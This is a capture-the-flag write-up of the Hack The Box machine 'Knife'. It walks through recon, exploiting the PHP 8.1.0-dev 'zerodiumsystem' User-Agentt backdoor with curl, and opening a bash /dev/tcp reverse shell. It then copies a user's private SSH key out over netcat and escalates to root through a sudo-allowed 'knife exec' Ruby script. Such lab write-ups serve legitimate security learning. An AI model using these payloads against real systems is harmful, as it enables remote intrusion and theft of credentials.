Preface: Knife is a easy box on We got one service running on the machine. It is the classic apache on port 80. On the website we find nothing interesting. But one response header reveals a small detail with an big impact. From there one we researched a little bit and found something juicy for us. Once on the box it was pretty straight forward. Hack the box infocard knife

Information gathering

As always we start with an nmap scan for open ports and services:

$ nmap -sV -sC -oN nmap/knife.nmap
# Nmap 7.91 scan initiated Tue Jun  8 20:29:42 2021 as: nmap -sV -sC -oN nmap/knife.nmap
Nmap scan report for
Host is up (0.042s latency).
Not shown: 998 closed ports
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 be:54:9c:a3:67:c3:15:c3:64:71:7f:6a:53:4a:4c:21 (RSA)
|   256 bf:8a:3f:d4:06:e9:2e:87:4e:c9:7e:ab:22:0e:c0:ee (ECDSA)
|_  256 1a:de:a1:cc:37:ce:53:bb:1b:fb:2b:0b:ad:b3:f6:84 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title:  Emergent Medical Idea
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
# Nmap done at Tue Jun  8 20:29:52 2021 -- 1 IP address (1 host up) scanned in 10.27 seconds

We got two open ports. The interesting one is 80, http. According to the nmap scan there is a standard apache server running.


Before I take a look on the browser, I start my gobuster in the background. It’s always good to have something running in the background.

$ gobuster dir -u -o gobuster/knife.txt -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt

Port 80

Now it is time to take a look into the browser. Port 80 apache

So there are no links or images. Let’s check the source code.

<!DOCTYPE html>
<html lang="en" >


  <meta charset="UTF-8">

  <title> Emergent Medical Idea</title>
  <link rel="stylesheet" href="">

html,body {
  font-family: 'Raleway', sans-serif;
  padding: 0;
  font-size: 18px;
  /*background: rgb(50, 120, 186);*/
  background: #FFF;
  color: #fff;

  color: #000;
  max-width: 100%;
  text-align: right;
  font-size: 18px;
  padding: 20px;
  position: relative;

#menu ul li{
  display: inline-block;
  margin: 0 5px;

#menu ul li:first-child{
  position: absolute;
  top: 0;
  left: 20px;

  max-width: 1000px;
  margin: 0 auto;
  max-width: 500px;
  max-width: 500px;
  margin-top: 10%;

h1,h2 {

  margin: 0.4em 0;
h1 { 
  font-size: 3.5em;
  font-weight: 700;

    /* Shadows are visible under slightly transparent text color */
    color: rgba(10,60,150, 0.8);
    text-shadow: 1px 4px 6px #fff, 0 0 0 #000, 1px 4px 6px #fff;

h2 {
  color: rgba(10,60,150, 1);
  font-size: 2em;
  font-weight: 200;
::-moz-selection { background: #5af; color: #fff; text-shadow: none; }
::selection { background: #5af; color: #fff; text-shadow: none; }

  window.console = window.console || function(t) {};

  if ( {
    window.parent.postMessage("resize", "*");


<body translate="no" >
  <link href=",100,700,4004" rel="stylesheet" type="text/css" />
<div id="menu">
    <li>About EMA</li>
<div class="wrapper">
<div class ="quote">
<svg version="1.1" id="heartRate" xmlns="" xmlns:xlink="" x="0px" y="0px"
	 viewBox="0 0 699 114.3" enable-background="new 0 0 699 114.3" xml:space="preserve">
<path class="pather1" fill="none" stroke="#0A3C96" stroke-width="1" stroke-miterlimit="10" d="M707.9,78c0,0-17.1-0.6-31.1-0.6

<h2>At EMA we're taking care to a whole new level . . .</h2>
<h1>Taking care of our
     data-rotate='[ "patients.", "hospitals.", "providers." ]'></span>
    <script src=""></script>

      <script id="rendered-js" >
var TxtRotate = function (el, toRotate, period) {
  this.toRotate = toRotate;
  this.el = el;
  this.loopNum = 0;
  this.period = parseInt(period, 10) || 2000;
  this.txt = '';
  this.isDeleting = false;

TxtRotate.prototype.tick = function () {
  var i = this.loopNum % this.toRotate.length;
  var fullTxt = this.toRotate[i];

  if (this.isDeleting) {
    this.txt = fullTxt.substring(0, this.txt.length - 1);
  } else {
    this.txt = fullTxt.substring(0, this.txt.length + 1);

  this.el.innerHTML = '<span class="wrap">' + this.txt + '</span>';

  var that = this;
  var delta = 300 - Math.random() * 100;

  if (this.isDeleting) {delta /= 2;}

  if (!this.isDeleting && this.txt === fullTxt) {
    delta = this.period;
    this.isDeleting = true;
  } else if (this.isDeleting && this.txt === '') {
    this.isDeleting = false;
    delta = 500;

  setTimeout(function () {
  }, delta);

window.onload = function () {
  var elements = document.getElementsByClassName('txt-rotate');
  for (var i = 0; i < elements.length; i++) {if (window.CP.shouldStopExecution(0)) break;
    var toRotate = elements[i].getAttribute('data-rotate');
    var period = elements[i].getAttribute('data-period');
    if (toRotate) {
      new TxtRotate(elements[i], JSON.parse(toRotate), period);
  window.CP.exitedLoop(0);var css = document.createElement("style");
  css.type = "text/css";
  css.innerHTML = ".txt-rotate > .wrap { border-right: 0.04em solid #666 }";

var path = document.querySelector('path.pather1');
var length = path.getTotalLength();

// Clear any previous transition = =
// Set up the starting positions = length + ' ' + length; = -length;
// Trigger a layout so styles are calculated & the browser
// picks up the starting position before animating
// Define our transition = =
'stroke-dashoffset 4s linear';
// Go! = '0';
//# sourceURL=pen.js

Okay, there is nothing. No comments, no further includes or something else. Let’s check our gobuster which is running in the background.

$ gobuster dir -u -o gobuster/knife.txt -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt 
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:           
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
2021/06/08 20:30:43 Starting gobuster in directory enumeration mode
2021/06/08 20:37:14 Finished

Also nothing! Okay, the website is not directly the attack surface. Now we should check the response and the request header fields. I will use the developer-tools from firefox itself. response headers developer-tools firefox

There we see the response headers. I will copy them as raw:

HTTP/1.1 200 OK
Date: Tue, 08 Jun 2021 18:55:57 GMT
Server: Apache/2.4.41 (Ubuntu)
X-Powered-By: PHP/8.1.0-dev
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 2406
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

The X-Powered-By header is a non-standard HTTP response headers (most headers prefixed with an X- are non-standard). This header field tells us there is PHP 8.1.0-dev running on the apache. It is pretty odd that there is a dev version of PHP running. Let’s do some research.

PHP backdoor

The php version 8.1.0-dev had a backdoor. It was masked in a fix-typo commit. Here is a article about it.

I also found it on exploit-db. The attack surface is in one request header. If we put zerodiumsystem("<COMMAND>") in the User-Agentt request header we got RCE. Pretty nice!

Backdoor POC

First we should verify if it is vulnerable:

$ curl -is -H 'User-Agentt: zerodiumsystem("id");'
HTTP/1.1 200 OK
Date: Tue, 08 Jun 2021 19:15:55 GMT
Server: Apache/2.4.41 (Ubuntu)
X-Powered-By: PHP/8.1.0-dev
Vary: Accept-Encoding
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

uid=1000(james) gid=1000(james) groups=1000(james)
<!DOCTYPE html>
<html lang="en" >
  <meta charset="UTF-8">
  <title> Emergent Medical Idea</title>
  <link rel="stylesheet" href="">

Yes! We got RCE. Now it is time for our reverse shell.


But we have to start our nc listener first.

$ nc -lvnp 4444

Let’s spawn the shell.

$ curl -is -H 'User-Agentt: zerodiumsystem("/bin/bash -c \"bash -i >&/dev/tcp/ 0>&1\"");'

Check the listener:

nc -lvnp 4444
listening on [any] 4444 ...
connect to [] from (UNKNOWN) [] 45142
bash: cannot set terminal process group (969): Inappropriate ioctl for device
bash: no job control in this shell
james@knife:/$ whoami
james@knife:/$ hostname

There we go! We got the reverse shell.

SHELL: james


Before we enumerate on the box, we grab the private ssh key from the user james.

Let’s transfer the key via netcat. On my local machine I start my listener:

$ nc -lvnp 4455 > james_id_rsa                    

On the box I send the private key to my box:

$ nc 4455 < id_rsa

After the transfer I put the public key into the authorized_keys file.

james@knife:~/.ssh$ cat > authorized_keys

Now we are able to login via ssh into the box as james:

$ chmod 600 james_id_rsa 
$ ssh -i james_id_rsa james@
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-72-generic x86_64)

 * Documentation:
 * Management:
 * Support:

  System information as of Tue 08 Jun 2021 07:33:07 PM UTC

  System load:             0.19
  Usage of /:              49.0% of 9.72GB
  Memory usage:            52%
  Swap usage:              0%
  Processes:               316
  Users logged in:         0
  IPv4 address for ens160:
  IPv6 address for ens160: dead:beef::250:56ff:feb9:b6f0

18 updates can be applied immediately.
13 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable

The list of available updates is more than a week old.
To check for new updates run: sudo apt update


Manual enumeration

While the basic manual enumeration I found something via sudo -l.

$ sudo -l
Matching Defaults entries for james on knife:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User james may run the following commands on knife:
    (root) NOPASSWD: /usr/bin/knife

We are able to run /usr/bin/knife as root without providing the users password. Which is pretty nice.

Let’s check what this executable is doing:

james@knife:~$ /usr/bin/knife -h
Chef Infra Client: 16.10.8     
** EXEC COMMANDS **                    
knife exec [SCRIPT] (options)              

So we are able to execute arbitrary scripts. In the docs link we can see that this is running ruby.

I will create a ruby script which creates a new shell.

james@knife:/tmp/qty$ echo "system('/bin/bash')" > qty.rb

Now it is time to get the root shell:

james@knife:/tmp/qty$ chmod +x qty.rb 
james@knife:/tmp/qty$ sudo /usr/bin/knife exec qty.rb 
root@knife:/tmp/qty# id
uid=0(root) gid=0(root) groups=0(root)

Awesome! We got the root shell.

SHELL: root

Thanks for reading! I hope you enjoyed it!